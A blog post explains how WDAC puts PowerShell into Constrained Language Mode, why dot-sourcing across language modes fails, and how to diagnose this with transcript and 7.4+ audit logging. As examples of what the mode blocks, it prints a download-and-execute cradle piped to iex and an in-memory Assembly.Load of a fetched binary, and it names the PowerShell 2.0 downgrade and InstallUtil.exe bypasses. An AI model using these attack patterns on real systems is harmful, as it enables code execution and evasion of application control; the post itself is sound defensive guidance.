PowerShell Constrained Language Mode: The WDAC Security Feature That's Breaking Your Scripts
- Kim & Tom
- Sep 5
- 8 min read
When Windows Defender Application Control (WDAC) is deployed in your environment, you might notice something peculiar happening with your PowerShell scripts. Commands that used to work perfectly are suddenly failing with cryptic errors, and your interactive PowerShell session feels... limited. Welcome to the world of PowerShell Constrained Language Mode – a powerful security feature that WDAC enables by default, and one that comes with some surprising gotchas around language mode boundary crossings.
What is PowerShell Constrained Language Mode?
PowerShell operates in different language modes that determine what functionality is available to users. There are four primary modes:
FullLanguage: Complete PowerShell functionality with unrestricted access to all .NET types and methods
ConstrainedLanguage: Restricted object types and limited .NET access - this is where WDAC takes you
RestrictedLanguage: Commands and functions only, no script blocks
NoLanguage: Commands only, completely locked down
You can check your current language mode by running:
$ExecutionContext.SessionState.LanguageModeHow WDAC Automatically Enables Constrained Language Mode
Here's where things get interesting. When WDAC (or AppLocker script rules) is active on a system, PowerShell automatically determines which language mode to use based on a clever detection mechanism.
PowerShell performs a simple test: it attempts to create a temporary test script with a randomized filename in the pattern __PSScriptPolicyTest_????????.???.ps1 or __PSScriptPolicyTest_????????.???.psm1 in the C:\Users\*\AppData\Local\Temp\ directory.
If the test script is allowed: PowerShell runs in FullLanguage mode
If the test script is blocked: PowerShell switches to ConstrainedLanguage mode
This means that in a WDAC-protected environment:
Trusted scripts (those allowed by the WDAC policy) run in FullLanguage mode with complete PowerShell capabilities
Interactive PowerShell sessions run in ConstrainedLanguage mode by default, providing a security barrier against malicious commands
The Security Benefits
Constrained Language Mode provides significant security advantages:
Limits .NET type access: Attackers can't easily access dangerous .NET classes like System.Reflection or System.Runtime.InteropServices
Restricts object manipulation: Complex object operations that could be used for exploitation are blocked
Prevents advanced PowerShell abuse: Many advanced PowerShell attack techniques rely on full language capabilities
For example, in Constrained Language Mode, this malicious code will fail:
# Attempt to download and execute code directly from the internet
(New-Object System.Net.WebClient).DownloadString("http://example.com") | iex
# Download a file as a byte[] array
$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content
# Load the byte array as an assembly in memory
$assembly = [System.Reflection.Assembly]::Load($bytes)This example demonstrates a common attack pattern where malicious PowerShell code downloads and executes binaries directly from the internet, loading them into memory without writing files to disk - a technique often used to bypass antivirus software. Constrained Language Mode blocks these dangerous .NET method invocations, preventing such in-memory assembly loading attacks.
While basic cmdlets and simple operations still work:
Write-Host "This works fine"
Get-Process | Select-Object NameThe Core Problem: Crossing Language Mode Boundaries
The fundamental issue with Constrained Language Mode is about crossing boundaries between different language modes - and PowerShell strictly prevents this for security reasons. As Microsoft explains: "We don't want to leak variables or functions between sessions running in different language modes."
If an untrusted script could be dot-sourced into a trusted script running in FullLanguage mode, it would gain access to all the powerful functions available in that mode - essentially bypassing the application control policy through arbitrary code execution or privilege escalation.
Here's what happens when you try to cross these boundaries:
ConstrainedLanguage session tries to dot-source a FullLanguage script ❌
FullLanguage script tries to dot-source a ConstrainedLanguage script ❌
Same language mode dot sourcing works fine ✅
This boundary crossing protection is intentional and critical for security.
The Dot Sourcing Problem: Understanding the Triggers
Now we come to the specific scenarios that trigger problematic dot sourcing behavior. There are two main situations where this language mode boundary crossing becomes an issue:
Scenario 1: Explicit Dot Sourcing
This is the traditional dot sourcing syntax that administrators might use:
. .\MyScript.ps1 # Explicit dot sourcingWhen you explicitly dot source a script, PowerShell loads it into the current scope. If that script has a different language mode than your current session, you'll get the boundary crossing error.
Scenario 2: The Hidden Trigger - PowerShell.exe -File with [CmdletBinding()]
This is the less obvious scenario that catches many people off guard. When you use both of these conditions together:
PowerShell.exe -File script.ps1 (using the -File parameter)
The script contains [CmdletBinding()]
PowerShell automatically uses dot sourcing behavior, which can trigger the language mode boundary crossing issue. Neither condition alone causes problems - it's specifically their combination.
Scenario 3: Profile Loading
PowerShell automatically dot sources profile.ps1 files at startup, which can create the boundary crossing issue if your profile needs FullLanguage capabilities.
Real-World Examples of Language Mode Boundary Issues
Microsoft's Documentation Example
Here's Microsoft's example showing what happens when you try to cross language mode boundaries:
# MyScript.ps1 (untrusted - runs in ConstrainedLanguage)
Write-Output "Dot sourcing MyHelper.ps1 script file"
. c:\MyHelper.ps1 # Explicit dot sourcing
HelperFn1
# MyHelper.ps1 (trusted and signed - runs in FullLanguage)
function HelperFn1 {
"Language mode: $($ExecutionContext.SessionState.LanguageMode)"
[System.Console]::WriteLine("This can only run in FullLanguage mode!")
}When the ConstrainedLanguage script tries to dot-source the FullLanguage script:
Cannot dot-source this command because it was defined in a different language mode.
To invoke this command without importing its contents, omit the '.' operator.The key principle: PowerShell is protecting the security boundary between language modes. This isn't a bug - it's a critical security feature preventing privilege escalation and application control bypass.
The SCCM Real-World Impact
Microsoft SCCM encountered the combination trigger issue with -File and [CmdletBinding()]. Here's how they had to adapt:
Original failing approach:
# This fails because it combines -File with a script containing [CmdletBinding()]
# which triggers dot sourcing, causing a language mode boundary crossing
PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -File 'C:\WINDOWS\CCM\ScriptStore\[SCRIPT_HASH].ps1'Working solutions:
# Option 1: Using Invoke-Expression (avoids -File parameter)
PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -Command "Invoke-Expression 'C:\WINDOWS\CCM\ScriptStore\[SCRIPT_HASH].ps1' | ConvertTo-Json -Compress"
# Option 2: Using Invoke-Command with ScriptBlock (avoids dot sourcing entirely)
PowerShell.exe -NonInteractive -NoProfile -ExecutionPolicy RemoteSigned -Command "Invoke-Command -ScriptBlock {& 'C:\WINDOWS\CCM\ScriptStore\[SCRIPT_HASH].ps1' | ConvertTo-Json -Compress}"The Profile.ps1 Catch-22
Microsoft highlights a particularly frustrating scenario: PowerShell profile files. This creates what they call a "catch 22 situation":
Profile.ps1 files are automatically dot-sourced into the current session at startup
If your profile needs FullLanguage capabilities (like method invocation), it needs to be signed and trusted
But if you sign it, it runs in FullLanguage mode while being dot-sourced into a ConstrainedLanguage interactive session
This triggers the language mode mismatch error, and the profile fails to load
Microsoft's example shows this perfectly:
# profile.ps1 (signed and trusted)
Write-Output "Running Profile"
[System.Console]::WriteLine("This can only run in FullLanguage!")
# When PowerShell starts:
Cannot dot-source this command because it was defined in a different language mode.
To invoke this command without importing its contents, omit the '.' operator.Microsoft's recommendation: Keep profile.ps1 files simple and don't sign them as trusted. Avoid complex operations that require FullLanguage mode in your profiles when using application control policies.
The Logging Gap and Detection Methods
One of the most frustrating aspects of this issue is the lack of clear logging in current PowerShell versions. Scripts simply fail without clear indication of why in the standard Code Integrity logs.
PowerShell 5.x: Using Transcript Logging
For PowerShell 5.x environments, you can use PowerShell transcript logging to help identify dot sourcing and language mode boundary issues. Enable transcript logging through Group Policy or registry settings:
# Enable transcript logging via registry
$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription"
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name "EnableTranscripting" -Value 1
Set-ItemProperty -Path $regPath -Name "OutputDirectory" -Value "C:\PowerShellTranscripts"
Set-ItemProperty -Path $regPath -Name "EnableInvocationHeader" -Value 1When language mode boundary crossings fail, the transcript will capture:
The actual commands being executed
The language mode context
The specific error messages that aren't always visible in regular logs
Look for patterns like:
**********************
Command start time: 20241204154422
**********************
PS>. 'C:\Scripts\TrustedScript.ps1'
Cannot dot-source this command because it was defined in a different language mode...PowerShell 7.4+: Enhanced Audit Logging and Debugging
Excellent news: PowerShell 7.4+ has significantly improved the visibility into language mode boundary issues and Constrained Language Mode restrictions through enhanced audit logging and debugging capabilities.
Audit Mode Support
PowerShell 7.4 introduced comprehensive Audit mode support for App Control policies. In audit mode:
PowerShell runs untrusted scripts in ConstrainedLanguage mode without errors
Instead of blocking operations, it logs detailed messages to the event log
The log messages describe exactly what restrictions would apply if the policy were in Enforce mode
This is a game-changer for troubleshooting and policy development!
Enabling the PowerShellCore/Analytic Log
The audit events are logged to the PowerShellCore/Analytic event log, but it's not enabled by default. To enable it:
Method 1: Event Viewer
Open Windows Event Viewer
Navigate to PowerShellCore/Analytic log
Right-click and select "Enable Log"
Method 2: Command Line
# Run from an elevated PowerShell session
wevtutil.exe sl PowerShellCore/Analytic /enabled:true /quietViewing Detailed Audit Events
To check for audit events that reveal language mode issues:
Get-WinEvent -LogName PowerShellCore/Analytic -Oldest | Where-Object Id -eq 16387 | Format-ListWhat You'll See in PowerShell 7.4+ Audit Logs
Here's an example of the detailed information you get from Event ID 16387:
TimeCreated : 4/19/2023 10:11:07 AM
ProviderName : PowerShellCore
Id : 16387
Message : App Control Audit.
Title: Method or Property Invocation
Message: Method or Property 'WriteLine' on type 'System.Console' invocation will not
be allowed in ConstrainedLanguage mode.
At C:\scripts\Test1.ps1:3 char:1
+ [System.Console]::WriteLine("pwnd!")
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
FullyQualifiedId: MethodOrPropertyInvocationNotAllowedThe key improvements you get:
Exact script location: Shows the file, line number, and character position
Specific restriction type: Identifies what operation would be blocked
Code context: Shows the actual code that would fail
FullyQualifiedId: Provides a categorized identifier for the restriction type
This level of detail makes it much easier to identify and fix language mode boundary issues!
Real-Time Debugging Support
PowerShell 7.4+ also added interactive debugging support for audit events. If you set the debug preference to Break in an interactive session:
$DebugPreference = 'Break'PowerShell will break into the command-line script debugger at the exact location where an audit event occurs. This allows you to:
Debug your code in real-time
Inspect the current state of variables and scope
Understand the execution context that triggered the restriction
Important: Disable Analytic Log After Testing
⚠️ Critical: Once you've finished reviewing audit events, disable the Analytic log:
wevtutil.exe sl PowerShellCore/Analytic /enabled:false /quietWhy? Analytic logs grow very quickly and can consume large amounts of disk space if left enabled in production.
Common Bypass Techniques (And Why WDAC Blocks Them)
Understanding bypass techniques helps explain why Constrained Language Mode is so effective:
1. PowerShell 2.0 "Bypass"
PowerShell 2.0 doesn't support Constrained Language Mode, so attackers often try:
PowerShell.exe -Version 2Defense: Remove PowerShell 2.0 from your systems entirely. It's an outdated version that lacks modern security features and should not be present in a secure environment.
2. Known Bypass Utilities
Tools like InstallUtil.exe can be used to bypass both AppLocker and WDAC restrictions. These are well-documented bypass techniques that WDAC's recommended block rules specifically address.
Conclusion
PowerShell Constrained Language Mode represents a significant step forward in PowerShell security, automatically engaging when application control solutions like WDAC are deployed. While it provides excellent protection against PowerShell-based attacks, it also introduces operational challenges centered around language mode boundary crossings that administrators need to understand and plan for.
The fundamental principle to remember is: PowerShell prevents mixing language modes for critical security reasons. This protection prevents privilege escalation and application control bypasses, but it means you must be careful about:
Explicit dot sourcing between different language modes (. .\script.ps1)
The combination of -File parameter with [CmdletBinding()] scripts
Profile.ps1 files that need FullLanguage capabilities
Ensuring consistent language modes across all script components
By understanding these language mode boundaries, the specific triggers that cause problems, and leveraging the enhanced logging capabilities in PowerShell 7.4+, you can successfully deploy WDAC while maintaining operational functionality.
Remember: security features like Constrained Language Mode aren't just technical hurdles to overcome – they're valuable protections that prevent serious security vulnerabilities like in-memory assembly loading and remote code execution. The key is understanding why these boundaries exist and designing your PowerShell automation to work within them rather than around them.
Have you encountered language mode boundary crossing issues in your environment? What challenges have you faced with the -File and [CmdletBinding()] combination? Share your experiences in the comments below.



Comments